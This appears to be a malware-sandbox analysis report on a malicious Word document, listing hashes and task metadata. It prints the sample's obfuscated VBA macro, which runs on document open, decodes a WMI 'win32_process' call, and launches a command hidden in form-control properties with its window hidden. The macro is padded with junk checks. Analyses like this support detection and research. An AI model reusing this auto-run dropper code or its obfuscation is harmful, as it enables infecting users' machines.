Behavioral task
behavioral1
Sample
b362a32aec816caf5fe07eb4b1de9be0_JaffaCakes118.doc
Resource
win7-20240508-en
windows7-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
b362a32aec816caf5fe07eb4b1de9be0_JaffaCakes118.doc
Resource
win10v2004-20240226-en
windows10-2004-x64
8 signatures
150 seconds
General
-
Target
b362a32aec816caf5fe07eb4b1de9be0_JaffaCakes118
-
Size
243KB
-
MD5
b362a32aec816caf5fe07eb4b1de9be0
-
SHA1
fea765fc84fec6bd07f61b81305cdff0dbbe08f7
-
SHA256
0b682badc7ff5224c955f8f117246513eaff6f331e94cc39d8278818508f4b69
-
SHA512
aaab7b6c4c4c822d5425a3a6195d9470879771441327828a1b539da057b8d0dbffe1bf34c52c77b0c4935515099782fc7d7aad4dbf7225c98c87dccf777b09de
-
SSDEEP
3072:lj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGk++BsyFu+PxwKv/M:lHgtEWPsL/aTyT9Gk9qyNPxwKs
Score
8/10
Malware Config
Signatures
-
resource sample
Files
-
b362a32aec816caf5fe07eb4b1de9be0_JaffaCakes118.doc windows office2003
D9c1342xwd8wgx0k
1Attribute VB_Name = "D9c1342xwd8wgx0k"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True9Private Sub _10Document_open()11Bb__kh9b_czh.G6kbqbyagriktu12End Sub1314Bb__kh9b_czh
1Attribute VB_Name = "Bb__kh9b_czh"2Attribute VB_Base = "0{F7E1172E-C167-4914-9902-29D6F517875E}{AB913C2D-246B-4186-9691-7CC3602006A6}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = False7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = False9Function G6kbqbyagriktu()10If 133877 = 513816 + 1 Then End11If 9812 < 65 Then12MsgBox ("nyjICAeTGs41")13End If14If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then15MsgBox ("Error !!!")16End If17If 375299 = 156678 + 1 Then End18If 4256 < 17 Then19MsgBox ("vnXcfRRucR32")20End If21If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then22MsgBox ("Error !!!")23End If2425Uo5g59w5eaql = Bb__kh9b_czh.HelpContextId + 50 + 5026If 133877 = 513816 + 1 Then End27If 9812 < 65 Then28MsgBox ("nyjICAeTGs41")29End If30If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then31MsgBox ("Error !!!")32End If33If 375299 = 156678 + 1 Then End34If 4256 < 17 Then35MsgBox ("vnXcfRRucR32")36End If37If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then38MsgBox ("Error !!!")39End If4041O5np300_kffvyj = ChrW(Uo5g59w5eaql + (15))42If 133877 = 513816 + 1 Then End43If 9812 < 65 Then44MsgBox ("nyjICAeTGs41")45End If46If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then47MsgBox ("Error !!!")48End If49If 375299 = 156678 + 1 Then End50If 4256 < 17 Then51MsgBox ("vnXcfRRucR32")52End If53If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then54MsgBox ("Error !!!")55End If5657Pw5zbwh6ym5kou3 = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + O5np300_kffvyj + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Bb__kh9b_czh.D269dmukra56m + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"58If 133877 = 513816 + 1 Then End59If 9812 < 65 Then60MsgBox ("nyjICAeTGs41")61End If62If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then63MsgBox ("Error !!!")64End If65If 375299 = 156678 + 1 Then End66If 4256 < 17 Then67MsgBox ("vnXcfRRucR32")68End If69If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then70MsgBox ("Error !!!")71End If7273Agj4are7oy6ta3xoi = S_v6_a3ivce(Pw5zbwh6ym5kou3)74If 133877 = 513816 + 1 Then End75If 9812 < 65 Then76MsgBox ("nyjICAeTGs41")77End If78If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then79MsgBox ("Error !!!")80End If81If 375299 = 156678 + 1 Then End82If 4256 < 17 Then83MsgBox ("vnXcfRRucR32")84End If85If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then86MsgBox ("Error !!!")87End If8889Set R_t2sf9vui5yopt = CreateObject(Agj4are7oy6ta3xoi)90If 133877 = 513816 + 1 Then End91If 9812 < 65 Then92MsgBox ("nyjICAeTGs41")93End If94If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then95MsgBox ("Error !!!")96End If97If 375299 = 156678 + 1 Then End98If 4256 < 17 Then99MsgBox ("vnXcfRRucR32")100End If101If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then102MsgBox ("Error !!!")103End If104105Zk9_uzzolfsegi = Bb__kh9b_czh.Un3ewn3702d1p.ControlTipText106If 133877 = 513816 + 1 Then End107If 9812 < 65 Then108MsgBox ("nyjICAeTGs41")109End If110If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then111MsgBox ("Error !!!")112End If113If 375299 = 156678 + 1 Then End114If 4256 < 17 Then115MsgBox ("vnXcfRRucR32")116End If117If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then118MsgBox ("Error !!!")119End If120121Hxx1ix4re04is = F4l05xpc_hs + (Agj4are7oy6ta3xoi + O5np300_kffvyj + Bb__kh9b_czh.Nebmo1pa4pzuy3dy_o.ControlTipText + Zk9_uzzolfsegi)122If 133877 = 513816 + 1 Then End123If 9812 < 65 Then124MsgBox ("nyjICAeTGs41")125End If126If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then127MsgBox ("Error !!!")128End If129If 375299 = 156678 + 1 Then End130If 4256 < 17 Then131MsgBox ("vnXcfRRucR32")132End If133If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then134MsgBox ("Error !!!")135End If136137A152oibiv_r282 = Hxx1ix4re04is + Bb__kh9b_czh.D269dmukra56m138If 133877 = 513816 + 1 Then End139If 9812 < 65 Then140MsgBox ("nyjICAeTGs41")141End If142If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then143MsgBox ("Error !!!")144End If145If 375299 = 156678 + 1 Then End146If 4256 < 17 Then147MsgBox ("vnXcfRRucR32")148End If149If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then150MsgBox ("Error !!!")151End If152153Set Rcoogz9_4e0qjgjmin = Dguzsd57pimm(A152oibiv_r282)154If 133877 = 513816 + 1 Then End155If 9812 < 65 Then156MsgBox ("nyjICAeTGs41")157End If158If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then159MsgBox ("Error !!!")160End If161If 375299 = 156678 + 1 Then End162If 4256 < 17 Then163MsgBox ("vnXcfRRucR32")164End If165If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then166MsgBox ("Error !!!")167End If168169Qjfhmi6q244mnq4 = Array(H9u7innwlmtq6zx94 + "Nmvf1ev3jqa_vo P3bywlj8u7_zovcf6Z8qjfiplrd9wm2f H9vkgckqak1pggh", R_t2sf9vui5yopt.Create(Wp_u8q9bhgg_vgbz, Dqwromw5il6g0, Rcoogz9_4e0qjgjmin), Niu3leuvm8x_i7saek + "Qr8fyi9l2c6idsc2r7 Wd1ud16od2mhhu Hrxd7un44tsyt Eeaezp4984q466")170If 133877 = 513816 + 1 Then End171If 9812 < 65 Then172MsgBox ("nyjICAeTGs41")173End If174If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then175MsgBox ("Error !!!")176End If177If 375299 = 156678 + 1 Then End178If 4256 < 17 Then179MsgBox ("vnXcfRRucR32")180End If181If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then182MsgBox ("Error !!!")183End If184185End Function186Function Dguzsd57pimm(Vcstjxvbkhnl8)187If 133877 = 513816 + 1 Then End188If 9812 < 65 Then189MsgBox ("nyjICAeTGs41")190End If191If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then192MsgBox ("Error !!!")193End If194If 375299 = 156678 + 1 Then End195If 4256 < 17 Then196MsgBox ("vnXcfRRucR32")197End If198If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then199MsgBox ("Error !!!")200End If201202Set Dguzsd57pimm = CreateObject(Vcstjxvbkhnl8)203If 133877 = 513816 + 1 Then End204If 9812 < 65 Then205MsgBox ("nyjICAeTGs41")206End If207If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then208MsgBox ("Error !!!")209End If210If 375299 = 156678 + 1 Then End211If 4256 < 17 Then212MsgBox ("vnXcfRRucR32")213End If214If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then215MsgBox ("Error !!!")216End If217218Dguzsd57pimm. _219showwindow = K6xz5hvdo_6rk8b + Bm80wmcsesnv6xc220If 133877 = 513816 + 1 Then End221If 9812 < 65 Then222MsgBox ("nyjICAeTGs41")223End If224If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then225MsgBox ("Error !!!")226End If227If 375299 = 156678 + 1 Then End228If 4256 < 17 Then229MsgBox ("vnXcfRRucR32")230End If231If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then232MsgBox ("Error !!!")233End If234235End Function236Function S_v6_a3ivce(Ry9n_f2rzodxg9xob7)237If 133877 = 513816 + 1 Then End238If 9812 < 65 Then239MsgBox ("nyjICAeTGs41")240End If241If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then242MsgBox ("Error !!!")243End If244If 375299 = 156678 + 1 Then End245If 4256 < 17 Then246MsgBox ("vnXcfRRucR32")247End If248If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then249MsgBox ("Error !!!")250End If251252D5vaqmf6vnsz = Trim(Conversion.CVar((Ry9n_f2rzodxg9xob7)))253If 133877 = 513816 + 1 Then End254If 9812 < 65 Then255MsgBox ("nyjICAeTGs41")256End If257If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then258MsgBox ("Error !!!")259End If260If 375299 = 156678 + 1 Then End261If 4256 < 17 Then262MsgBox ("vnXcfRRucR32")263End If264If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then265MsgBox ("Error !!!")266End If267268T5dpefpld50 = Split _269(D5vaqmf6vnsz, "12bb" + "$ hs1g 2[gg" + "222sh 721" + "9681]")270If 133877 = 513816 + 1 Then End271If 9812 < 65 Then272MsgBox ("nyjICAeTGs41")273End If274If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then275MsgBox ("Error !!!")276End If277If 375299 = 156678 + 1 Then End278If 4256 < 17 Then279MsgBox ("vnXcfRRucR32")280End If281If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then282MsgBox ("Error !!!")283End If284285Jwff5b5fxq5j = Oioy6_1kubwf60sa + Join(T5dpefpld50, Eor97_d3ful5aj28f9)286If 133877 = 513816 + 1 Then End287If 9812 < 65 Then288MsgBox ("nyjICAeTGs41")289End If290If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then291MsgBox ("Error !!!")292End If293If 375299 = 156678 + 1 Then End294If 4256 < 17 Then295MsgBox ("vnXcfRRucR32")296End If297If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then298MsgBox ("Error !!!")299End If300301S_v6_a3ivce = Jwff5b5fxq5j302If 133877 = 513816 + 1 Then End303If 9812 < 65 Then304MsgBox ("nyjICAeTGs41")305End If306If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then307MsgBox ("Error !!!")308End If309If 375299 = 156678 + 1 Then End310If 4256 < 17 Then311MsgBox ("vnXcfRRucR32")312End If313If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then314MsgBox ("Error !!!")315End If316317End Function318Function Wp_u8q9bhgg_vgbz()319If 133877 = 513816 + 1 Then End320If 9812 < 65 Then321MsgBox ("nyjICAeTGs41")322End If323If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then324MsgBox ("Error !!!")325End If326If 375299 = 156678 + 1 Then End327If 4256 < 17 Then328MsgBox ("vnXcfRRucR32")329End If330If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then331MsgBox ("Error !!!")332End If333334Fpk_6bumb7m6ah = Bb__kh9b_czh.Ssqvfx9dtfup.Tag335If 133877 = 513816 + 1 Then End336If 9812 < 65 Then337MsgBox ("nyjICAeTGs41")338End If339If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then340MsgBox ("Error !!!")341End If342If 375299 = 156678 + 1 Then End343If 4256 < 17 Then344MsgBox ("vnXcfRRucR32")345End If346If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then347MsgBox ("Error !!!")348End If349350Wp_u8q9bhgg_vgbz = S_v6_a3ivce(Fpk_6bumb7m6ah)351If 133877 = 513816 + 1 Then End352If 9812 < 65 Then353MsgBox ("nyjICAeTGs41")354End If355If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then356MsgBox ("Error !!!")357End If358If 375299 = 156678 + 1 Then End359If 4256 < 17 Then360MsgBox ("vnXcfRRucR32")361End If362If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then363MsgBox ("Error !!!")364End If365366End Function367368